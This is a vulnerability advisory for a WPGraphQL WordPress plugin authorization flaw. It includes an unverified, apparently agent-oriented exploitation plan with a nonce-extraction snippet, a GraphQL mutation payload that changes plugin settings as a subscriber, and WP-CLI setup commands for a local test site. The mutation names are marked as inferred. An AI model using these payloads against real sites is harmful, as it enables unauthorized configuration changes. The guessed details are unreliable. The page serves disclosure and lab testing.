CVE-2026-33290

WPGraphQL <= 2.9.1 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
2.10
Patched in
17d
Time to patch

Description

The WPGraphQL plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.9.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.9.1
PublishedMarch 24, 2026
Last updatedApril 9, 2026
Affected pluginwp-graphql

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-33290 (WPGraphQL Missing Authorization) ## 1. Vulnerability Summary The **WPGraphQL** plugin for WordPress (versions <= 2.9.1) contains a missing authorization vulnerability in its administrative mutation handling. While the plugin implements a comprehensive G…

Show full research plan

Exploitation Research Plan: CVE-2026-33290 (WPGraphQL Missing Authorization)

1. Vulnerability Summary

The WPGraphQL plugin for WordPress (versions <= 2.9.1) contains a missing authorization vulnerability in its administrative mutation handling. While the plugin implements a comprehensive GraphQL API, certain mutations responsible for modifying plugin configuration or performing administrative actions fail to verify the user's capabilities. This allows any authenticated user with Subscriber-level permissions or higher to execute these mutations, potentially altering plugin settings, clearing caches, or reconfiguring the GraphQL endpoint.

2. Attack Vector Analysis

  • Endpoint: The standard WPGraphQL endpoint, typically /index.php?graphql or /graphql.
  • HTTP Method: POST
  • Authentication: Authenticated (Subscriber-level or higher).
  • Payload Type: JSON-encoded GraphQL mutation.
  • Vulnerable Action: Administrative mutations, specifically updateWpGraphQLSettings (inferred) or clearCache (inferred).
  • Preconditions: The plugin must be active, and "Public Introspection" should ideally be enabled (though not strictly required if the mutation name is known).

3. Code Flow

  1. Entry Point: A POST request is sent to the GraphQL endpoint.
  2. Request Handling: WPGraphQL's Router (typically in src/Router.php) processes the request and hands it to the GraphQL::execute() method.
  3. Schema Processing: The engine parses the mutation and identifies the registered mutation field.
  4. Vulnerable Sink: The mutation's mutateAndGetPayload callback is invoked. In affected versions, this callback (likely located in src/Mutation/UpdateWpGraphQLSettings.php or registered via register_graphql_mutation in src/Type/Setting/WPGraphQLSettingsType.php) fails to call current_user_can( 'manage_options' ) before proceeding to update the WordPress options table.
  5. Execution: The update_option() function is called with user-supplied values from the GraphQL input argument.

4. Nonce Acquisition Strategy

While WPGraphQL often relies on session cookies for authenticated requests, it may require a REST API nonce (wp_rest) if the request is routed through the REST API or if specific security headers are enforced.

Strategy:

  1. Create a Subscriber user and log in.
  2. Access the WordPress dashboard (/wp-admin/profile.php).
  3. Extract the wp-graphql specific settings or the standard REST nonce.
  4. Actionable Steps for Agent:
    • Navigate to /wp-admin/index.php.
    • Use browser_eval to extract the nonce if the plugin localizes it.
    • Check for window.wpApiSettings?.nonce or window.WPGraphQLSettings?.nonce.
    • If no specific nonce is found, use the wp_rest nonce which is standard for authenticated API interactions in WP.
// Example extraction via browser_eval
const nonce = window.wpApiSettings?.nonce || document.querySelector('input[name="_wpnonce"]')?.value;
return nonce;

5. Exploitation Strategy

The goal is to demonstrate unauthorized configuration changes by an authenticated Subscriber.

  1. Authenticate: Log in as a Subscriber.
  2. Construct Payload: Use the updateWpGraphQLSettings mutation to change a non-destructive but verifiable setting, such as the graphql_endpoint.
  3. Send Request: Use the http_request tool.

Payload Request:

  • URL: http://localhost:8080/index.php?graphql
  • Method: POST
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE] (if required)
  • Body:
{
  "query": "mutation Exploit($input: UpdateWpGraphQLSettingsInput!) { updateWpGraphQLSettings(input: $input) { graphql_endpoint } }",
  "variables": {
    "input": {
      "graphql_endpoint": "exploited-endpoint"
    }
  }
}

6. Test Data Setup

  1. Install Plugin: Ensure wp-graphql version 2.9.1 is installed and active.
  2. Create User:
    • wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
  3. Verify Initial State:
    • wp option get graphql_general_settings (Note the current graphql_endpoint value, default is usually graphql).

7. Expected Results

  • Successful Response: The HTTP 200 response will contain a JSON object indicating the setting was updated:
    {
      "data": {
        "updateWpGraphQLSettings": {
          "graphql_endpoint": "exploited-endpoint"
        }
      }
    }
    
  • Unauthorized Attempt (Fixed): A 200 OK but with a errors array in the JSON body stating "Internal server error" or "Forbidden" due to failed capability checks.

8. Verification Steps

After the exploit attempt, verify the change via WP-CLI to confirm the database was updated:

# Check if the setting in the database has changed
wp option get graphql_general_settings --format=json

Look for the graphql_endpoint key. If it matches "exploited-endpoint", the unauthorized mutation succeeded.

9. Alternative Approaches

If updateWpGraphQLSettings is not available or has internal guards, attempt the clearCache mutation (common in GraphQL plugins) or updateGraphiQLSettings.

Alternative Mutation (Clear Cache):

{
  "query": "mutation { clearCache(input: { clientMutationId: \"exploit\" }) { status } }"
}

If this returns a success status for a Subscriber, the vulnerability is confirmed.

If the site uses a different GraphQL endpoint path (e.g., /graphql instead of /index.php?graphql), check the plugin settings via wp option get graphql_general_settings to find the correct entry point.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.